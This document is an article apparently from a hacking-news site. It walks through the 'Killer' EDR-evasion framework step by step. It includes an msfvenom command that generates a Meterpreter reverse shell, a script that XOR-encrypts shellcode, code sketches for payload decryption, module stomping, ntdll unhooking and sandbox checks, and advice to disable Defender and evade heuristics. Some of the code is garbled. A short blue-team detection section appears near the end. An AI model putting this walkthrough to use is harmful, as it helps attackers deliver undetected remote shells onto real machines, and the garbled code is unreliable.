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Introduction:
In the perpetual cat-and-mouse game between offensive security professionals and defensive controls, endpoint detection and response (EDR) solutions have become increasingly sophisticated—employing memory scanning, API hooking, and behavioral analytics to catch malicious activity. The Killer tool, developed by 0xHossam, emerges as a super simple yet remarkably effective framework designed to bypass these security mechanisms using a arsenal of evasive techniques. What makes Killer particularly noteworthy is its “FUD” (Fully Undetectable) status and its reported use by the Patchwork APT group, bridging the gap between red team training and real-world adversary tradecraft.
Learning Objectives:
- Understand the core evasion techniques implemented in Killer, including Module Stomping, DLL Unhooking, and ETW Patching
- Learn how to generate, encrypt, and execute shellcode using Killer’s XOR-based obfuscation pipeline
- Gain hands-on experience with payload preparation, memory injection, and anti-debugging countermeasures
- Develop awareness of how these techniques are applied in both red team exercises and actual threat actor campaigns
- Understanding Killer’s Evasion Arsenal: A Technical Deep Dive
Killer is not a single technique but a composite framework that layers multiple evasion strategies to defeat modern EDR solutions. At its core, the tool implements Module Stomping—a technique that overwrites legitimate loaded modules in memory with malicious code, evading memory scanners that look for anomalous allocations. This is complemented by DLL Unhooking, which restores fresh copies of ntdll.dll to remove user-mode hooks placed by EDR agents.
The framework also incorporates IAT Hiding and Obfuscation along with API Unhooking to prevent import address table analysis. Perhaps most critically, Killer implements ETW Patching to bypass Event Tracing for Windows controls that many security products rely on for telemetry. All functions, keys, and shellcode are fully obfuscated through XOR encryption, making static analysis extremely difficult.
What This Means for Defenders: These techniques represent the current state of offensive tradecraft. Module Stomping, for instance, works because EDRs often scan only regions flagged as `MEM_COMMIT` with `PAGE_EXECUTE_READWRITE` protections—by writing payloads into existing modules, attackers can fly under the radar.
What This Means for Offensive Security Professionals: Understanding these techniques is essential for building better defenses. Red teams can use Killer to test detection capabilities, while blue teams can study its methods to improve their monitoring rules.
2. Setting Up Killer: Cloning and Environment Preparation
Before diving into payload generation, you’ll need to set up your environment. Killer is designed for Windows targets but can be prepared on any system with Python and the necessary tools.
Step 1: Clone the Repository
git clone https://github.com/0xHossam/Killer.git cd Killer
Step 2: Review the Components
The repository contains the core evasion logic implemented in C/C++ along with Python scripts for shellcode encryption. Killer supports both x64 and x86 architectures and runs without creating new threads—a technique that further reduces its forensic footprint.
Step 3: Install Dependencies
Ensure you have Python 3.x installed along with any required libraries. The encryption script uses standard Python libraries, so no additional installations are typically required.
Environment Considerations:
- Test in an isolated VM environment—never on production systems
- Windows 10/11 or Windows Server 2022 VMs are recommended for testing
- Disable real-time protection temporarily if testing against Windows Defender
3. Generating and Encrypting Shellcode with MSFVenom
The first step in using Killer is generating raw shellcode using the Metasploit Framework’s `msfvenom` tool. This shellcode will serve as the payload that Killer will obfuscate, inject, and execute.
Step 1: Generate Shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f py
Replace `LHOST` and `LPORT` with your actual listener IP and port.
Step 2: Understand the Output
The command generates Python-formatted shellcode—a byte array that looks like:
buf = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30..."
Step 3: Copy to the Encryptor
Take this output and paste it into the XOR encryption function within Killer’s Python script:
data = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c..."
key = 0x50 Choose your XOR key as a byte (e.g., 0x90, 0x40, 0x30)
print('{ ', end='')
for i in data:
print(hex(i ^ key), end=', ')
print("0x0 };")
What This Does: Each byte of the shellcode is XORed with the chosen key, producing encrypted output that appears as random data to static analysis tools. The script appends a null byte (0x0) to the end. The key can be any byte value, giving operators flexibility in obfuscation.
Pro Tip: Choose non-standard keys (avoid 0x00, 0xFF, or common values like 0x90) to reduce the chance of heuristic detection.
4. Payload Injection: Moving Shellcode into Hallowed Memory
One of Killer’s most sophisticated features is its ability to move payloads into memory without using standard Windows APIs—a technique that bypasses API monitoring hooks placed by EDR solutions.
Step 1: Prepare the Encrypted Payload
After XOR encryption, you’ll have a byte array ready for injection:
unsigned char encrypted_payload[] = { 0xac, 0xb8, 0xd2, ..., 0x0 };
Step 2: Implement the Decryption Routine
Killer includes a decryption function that reverses the XOR operation at runtime:
void decrypt_payload(unsigned char payload, size_t len, unsigned char key) {
for (size_t i = 0; i < len; i++) {
payload[bash] ^= key;
}
}
Step 3: Execute Without Creating Threads
Instead of using `CreateThread` or CreateRemoteThread—which are heavily monitored—Killer employs alternative execution flows that don’t generate new threads. This can include:
– Callback-based execution via `EnumWindows` or similar functions
– Fiber-based execution using `ConvertThreadToFiber` and `SwitchToFiber`
– Asynchronous Procedure Call (APC) injection
What This Means: By avoiding thread creation, Killer reduces the number of artifacts that EDR behavioral rules typically flag. Many EDRs treat new thread creation in unusual contexts as a strong indicator of compromise.
- Advanced Evasion: Module Stomping and DLL Unhooking in Practice
Let’s examine two of Killer’s most powerful techniques in greater detail, including practical implementation considerations.
Module Stomping: Overwriting Legitimate Modules
Module Stomping works by identifying a legitimate, already-loaded module (e.g., ntdll.dll, kernel32.dll) and overwriting its `.text` section with malicious code.
Conceptual Implementation:
// Get base address of a legitimate module HMODULE hModule = GetModuleHandleW(L"ntdll.dll"); // Calculate the .text section address // Overwrite with payload memcpy(text_section_address, payload, payload_size); // Execute by calling an exported function that now contains your code
Since the memory region is already marked as executable and belongs to a trusted module, memory scanners are less likely to flag it.
DLL Unhooking: Restoring Fresh ntdll
EDRs place user-mode hooks in `ntdll.dll` to monitor system calls. Killer defeats this by loading a fresh copy of `ntdll.dll` from disk and copying its .text section over the hooked version.
Step-by-Step DLL Unhooking:
// 1. Read fresh ntdll from disk (C:\Windows\System32\ntdll.dll) HANDLE hFile = CreateFileW(L"C:\Windows\System32\ntdll.dll", ...); // 2. Map it into memory HANDLE hMapping = CreateFileMapping(hFile, ...); LPVOID pFreshNtdll = MapViewOfFile(hMapping, ...); // 3. Find .text section in both fresh and hooked versions // 4. Copy fresh .text over hooked .text memcpy(hooked_text_section, fresh_text_section, text_section_size); // 5. Clean up
This effectively removes EDR hooks without requiring a process restart, allowing subsequent system calls to bypass monitoring.
6. Sandbox Evasion and Anti-Debugging Countermeasures
Killer includes built-in sandbox evasion and anti-debugging techniques to prevent analysis in automated environments.
Common Sandbox Evasion Checks:
- CPU Core Count: Most sandboxes run on 1-2 cores; checking for 4+ cores can indicate a real system
- RAM Size: Sandboxes often have < 4GB RAM
- Uptime: Systems that have been running for less than 10-15 minutes are suspicious
- Disk Size: Small disk sizes (< 60GB) often indicate virtualized environments
Implementation Example:
bool is_sandbox() {
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 4) return true; // Suspicious
MEMORYSTATUSEX mem;
GlobalMemoryStatusEx(&mem);
if (mem.ullTotalPhys < 4ULL 1024 1024 1024) return true; // < 4GB RAM
return false;
}
Anti-Debugging Techniques:
- IsDebuggerPresent() and CheckRemoteDebuggerPresent() checks
- Timing attacks using `QueryPerformanceCounter` to detect breakpoints
- NtQueryInformationProcess with `ProcessDebugPort` to detect debuggers
- Exception handler manipulation to detect software breakpoints (INT 3)
If any of these checks trigger, Killer can exit gracefully or execute benign code to avoid raising suspicion.
7. Operational Security and Detection Considerations
For Red Teams:
- Always test Killer in isolated environments before operational use
- Consider modifying the XOR key and encryption routines to avoid signature-based detection
- Combine Killer with other tradecraft (e.g., Cobalt Strike, Sliver) for comprehensive campaigns
- Monitor for EDR updates—what’s FUD today may be detected tomorrow
For Blue Teams:
- Monitor for ntdll modifications: Unusual writes to ntdll’s .text section are a strong indicator of DLL unhooking
- Look for module stomping artifacts: Unexpected memory writes into legitimate modules
- ETW telemetry gaps: Abrupt cessation of ETW events may indicate patching
- Process behavior anomalies: Legitimate processes executing shellcode-like patterns
Detection Commands for Defenders:
Check for ntdll modifications using PowerShell
Get-Process | ForEach-Object {
$modules = $_ | Get-Process -Module
$modules | Where-Object { $_.ModuleName -eq "ntdll.dll" }
}
Monitor for suspicious memory regions using Sysinternals VMMap
Look for regions with PAGE_EXECUTE_READWRITE in non-executable modules
What Undercode Say:
- The FUD status of Killer is both an asset and a liability—while it demonstrates the tool’s effectiveness against current detection mechanisms, it also highlights the arms race nature of cybersecurity. Tools that are FUD today may be signatured tomorrow, making continuous evolution essential for both attackers and defenders.
-
The use of Killer by the Patchwork APT group underscores a critical reality: offensive security tools developed for legitimate red team training are frequently adopted by threat actors. This dual-use nature demands that the security community approaches tool development with responsibility, emphasizing defensive applications and controlled testing environments.
-
Killer’s modular architecture—combining Module Stomping, DLL Unhooking, IAT obfuscation, and ETW Patching—represents a comprehensive evasion framework. This layered approach is significantly more effective than single-technique tools, as it forces defenders to detect multiple overlapping anomalies rather than a single signature.
-
The tool’s ability to run without creating new threads is particularly noteworthy. Thread creation is one of the most heavily monitored Windows API calls by EDR solutions; bypassing it demonstrates deep understanding of Windows internals and process execution flows.
-
For defenders, Killer serves as an invaluable benchmark for testing detection capabilities. Organizations should use tools like this to validate their EDR configurations, ensuring that their security stack can identify the behavioral patterns associated with these evasion techniques.
-
The simplicity of Killer’s design—”super simple” per the author’s own description—is deceptive. Behind its straightforward interface lies a sophisticated understanding of Windows internals, memory management, and EDR architecture. This accessibility lowers the barrier to entry for both red teamers and malicious actors.
Prediction:
-
+1 The continued development of tools like Killer will accelerate the adoption of memory-based detection and behavioral analytics in next-generation EDR solutions. This will ultimately lead to more resilient defensive architectures that focus on anomalous behavior rather than static signatures.
-
-1 The democratization of sophisticated evasion techniques through open-source tools like Killer lowers the skill barrier for malicious actors. Script kiddies and less sophisticated threat groups now have access to FUD-grade evasion capabilities that were previously the domain of advanced persistent threats.
-
+1 As blue teams study tools like Killer, they will develop more effective detection rules and hunting methodologies. The transparency of open-source offensive tools ultimately benefits defenders who can analyze and prepare for these techniques.
-
-1 The reported use of Killer by the Patchwork APT group suggests that state-sponsored actors are actively incorporating open-source red team tools into their operational arsenals. This trend will likely continue, blurring the lines between legitimate security research and malicious activity.
-
+1 The security community’s response to tools like Killer—developing better detection, sharing threat intelligence, and emphasizing responsible disclosure—demonstrates the maturing of the infosec ecosystem. Continued collaboration between red and blue teams will drive innovation on both sides of the security equation.
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Reported By: Syed Muneeb – Hackers Feeds
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